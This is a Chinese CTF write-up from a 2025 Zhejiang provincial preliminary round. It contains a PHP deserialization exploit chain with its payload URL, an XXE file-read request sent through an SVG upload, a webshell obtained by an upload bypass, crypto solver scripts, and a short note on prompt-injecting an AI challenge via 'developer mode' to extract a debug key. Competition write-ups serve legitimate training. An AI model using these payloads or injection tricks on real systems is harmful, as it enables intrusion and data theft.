2025 浙江省省赛初赛 wp--谁识曲中意

一、团队信息
•团队名称：谁识曲中意
•单位：湖州师范学院
二、解题情况
2025-11-08T10:55:23.png
WEB
1.Upload1
文件上传，删除前缀php
2025-11-08T10:56:24.png
蚁剑链接获取flag
2025-11-08T10:56:38.png
2.EzSerialize

<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
    private $name;
    private $role;
    public function __construct($name, $role) {
        $this->name = $name;
        $this->role = $role;
    }
    // public function __toString() {
    //     return $this->role->getInfo();
    // }
}
class Admin {
    private $command;
    public function __construct($command) {
        $this->command = $command;
    }
    public function __call($method, $args) {
        if ($method === 'getInfo') {
            return $this->command->execute();
        }
        return "Method $method not found";
    }
}
class FileReader {
    private $filename;
    public function __construct($filename) {
        $this->filename = $filename;
    }
    // public function execute() {
    //     // 危险操作：直接读取文件
    //     if (file_exists($this->filename)) {
    //         return "<pre>" . htmlspecialchars(file_get_contents($this->filename)) . "</pre>";
    //     } else {
    //         return "文件不存在: " . $this->filename;
    //     }
    // }
}
// if (isset($_GET['data'])) {
//     try {
//         echo "<h3>反序列化结果：</h3>";
//         $obj = unserialize(base64_decode($_GET['data']));
        
//         // 触发__toString方法
//         echo "输出结果: " . $obj;     
//     } catch (Exception $e) {
//         echo "错误: " . $e->getMessage();
//     }
// }
$d = new FileReader("flag.php");
$c = new Admin($d);
$a = new User('getInfo', $c);
$b = serialize($a);
echo $b;
echo base64_encode($b);

得出加密后的结果，传入data参数

http://45.40.247.139:20551/?data=Tzo0OiJVc2VyIjoyOntzOjEwOiIAVXNlcgBuYW1lIjtzOjc6ImdldEluZm8iO3M6MTA6IgBVc2VyAHJvbGUiO086NToiQWRtaW4iOjE6e3M6MTQ6IgBBZG1pbgBjb21tYW5kIjtPOjEwOiJGaWxlUmVhZGVyIjoxOntzOjIwOiIARmlsZVJlYWRlcgBmaWxlbmFtZSI7czo4OiJmbGFnLnBocCI7fX19

2025-11-08T10:58:18.png

3.UploadKing
上传svg刚发现这个报错跟xxe很像，尝试上传svg携带xxe
2025-11-08T10:58:57.png
上传xxe注入返回成功尝试访问地址

POST /upload.php HTTP/1.1
Host: 45.40.247.139:16108
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Accept-Encoding: gzip, deflate
Origin: http://45.40.247.139:16108
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryf9jwTuJ3kBj853uq
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
Referer: http://45.40.247.139:16108/
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Content-Length: 48758

------WebKitFormBoundaryf9jwTuJ3kBj853uq
Content-Disposition: form-data; name="file"; filename="test.svg"
Content-Type: image/png

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///flag"> ]>
<CertEnrollmentRequest>
  <Attributes/>
  <ProfileID>&ent;</ProfileID>
</CertEnrollmentRequest>
------WebKitFormBoundaryf9jwTuJ3kBj853uq--

2025-11-08T10:59:26.png
获得flag'
2025-11-08T10:59:36.png

MISC

什么密码(去年也是有这道题）
伪加密
2025-11-08T11:00:15.png
获得图片
2025-11-08T11:00:23.png
Lsb隐写
2025-11-08T11:00:31.png
发现加密密码
2025-11-08T11:00:42.png
010发现字母表使用工具脚本

import base64
# 定义标准 Base64 字符集
standard_base64_chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
# 变异 Base64 字符集（示例：将 '+' 和 '/' 替换为 '-' 和 '_'）
mutated_base64_chars =  "ZYXABCDEFGHIJKLMNOPQRSTUVWzyxabcdefghijklmnopqrstuvw0123456789+/"
def mutate_base64_decode(data):
 # 使用标准字符集进行替换
 standard_encoded = ''.join(
     standard_base64_chars[mutated_base64_chars.index(c)] if c in mutated_base64_chars else c
     for c in data
 )
 # 添加填充
 while len(standard_encoded) % 4 != 0:
     standard_encoded += '='

 # 解码
 return base64.b64decode(standard_encoded).decode()


# 示例使用
encoded_data = "OBCQN1ODbwx3KwihVQRwITNtWgBqKAChKf1eWgKeIQGjWAh2LQehJjKeKU0"  # 示例变异 Base64 字符串
decoded = mutate_base64_decode(encoded_data)
print("Decoded:", decoded)
获得flag
C:\Users\yinshi\AppData\Local\Programs\Python\Python313\python.exe C:\Users\yinshi\Desktop\2025j\变异base.py 
Decoded: DASCTF{7779da53-d0f1-41d6-af3a-2fd9698d2ca5}

CRYPTO

RSA_Common_Attack
获得常熟n和多对e1 e2 C1C2,直接上脚本

import gmpy2
from Crypto.Util.number import getPrime, long_to_bytes

e1 = 65537
e2 = 10001
n = 12184620342604321526236147921176689871260702807639258752158298414126076615130224253248632789995209263378074151299166903216279276546198828352880417707078853010887759267119069971739321905295081485027018480973993441393590030075971419165113599211569178425331802782763120185350392723844716582476742357944510728860535408085789317844446495987195735585533277358245562877243064161565448407188900804528695784565011073374273835326807616704068806996983861885772305191259029021518998160545972629938341341148477795894816345752396040127286263780418335699743896454197151019898505844519753453115300227481242993291336748858733029540609

c1 = 902947871638340144585350496607905036788917988784297938051712515029419473301205843372041904115813361402310512640716508455953201343091183980022416880886523265909139556951175072940441586166669057233430247014907124872576782948489940428513680356381769358116956570193102584168134758031000460513472898624075765670452482015562555449322262139576088011030490086784087285869959810062075648470122232452663599195404333292792928816934802064740144937473749408450501803510475933273448208685792400696632919950948832464784621694657179199125876564156360048730797653060931844444935302553732964065897065735427838601696506594726842758656
c2 = 7024079443689213821451191616762957236018704240049119768827190246286227366906772824421534943039282921384333899446122799252327963055365970065258371710141470872948613397123358914507497871585713222863470875497667604127210508840915183968145267083193773724382523920130152399270957943228022350279379887455019966651166356404967621474933206809521046480962602160962854745553005978607776790079518796651707745342923714121497001171456582586327982922261473553814594384196824815090185841526000247291514943042643385984600122463395695871306301585799490389353720773152762256126676456786420058282912965520064317739998211921049808590504

_, s1, s2 = gmpy2.gcdext(e1, e2)
m = pow(c1, s1, n) * pow(c2, s2, n) % n
print(long_to_bytes(m))


(base) PS C:\Users\yinshi\Desktop\2025j> python rsa.py
b'DASCTF{RSA_C0mm0n_M0dulus_Att4ck_1s_V3ry_P0w3rful_1nd33d}'

ez_stream
2025-11-08T11:02:25.png
逆向脚本

cipher = [164, 34, 242, 5, 234, 79, 16, 182, 136, 117, 78, 78, 71, 168, 72, 79, 53, 114, 117]
key = 'love'
key_len = len(key)
S = list(range(256))
K = [ord(key[i % key_len]) for i in range(256)]
j = 0
for i in range(256):
 j = (j + S[i] + K[i]) % 256
 S[i], S[j] = S[j], S[i]
i, j = 0, 0
flag = []
for ct in cipher:
 i = (i + 1) % 256
 j = (j + S[i]) % 256
 S[i], S[j] = S[j], S[i]
 t = (S[i] + S[j]) % 256
 pt = ct ^ S[t]
 flag.append(chr(pt))
print(''.join(flag))

C:\Users\yinshi\AppData\Local\Programs\Python\Python313\python.exe C:\Users\yinshi\Desktop\2025j\rc4.py 
DASCTF{rc4_is_easy}

dsEnData

import base64
import csv
import pandas as pd

def encode(D, K='a1a60171273e74a6'):
 res = b''
 for i in range(len(D)):
     c = K[i+1&15]
     res += bytes.fromhex(hex(D[i]^ord(c))[2:].zfill(2))
 return res

def decode_data(encoded_data, K='a1a60171273e74a6'):
 decoded_b64 = base64.b64decode(encoded_data)
 res = b''
 for i in range(len(decoded_b64)):
     c = K[(i + 1) & 15]
     res += bytes([decoded_b64[i] ^ ord(c)])
 return res.decode('utf-8')

def decrypt_csv(input_file, output_file, K='a1a60171273e74a6'):
 df = pd.read_csv(input_file)
 for col in df.columns:
     df[col] = df[col].apply(lambda x: decode_data(str(x), K))
     df.to_csv(output_file, index=False, encoding='utf-8')
# 使用示例
if __name__ == "__main__":
 input_csv = "a.csv"
 output_csv = "decoded_data.csv"
 decrypt_csv(input_csv, output_csv)

2025-11-08T11:03:12.png
2025-11-08T11:03:16.png

ez_AI_inject
开发者模式

获取debugkey
然后

丢到厨子看下

secret_tool找到这个然后再传hex的sm3 hash 来获取flag

最后得到flag

2025 浙江省省赛初赛 wp--谁识曲中意

评论0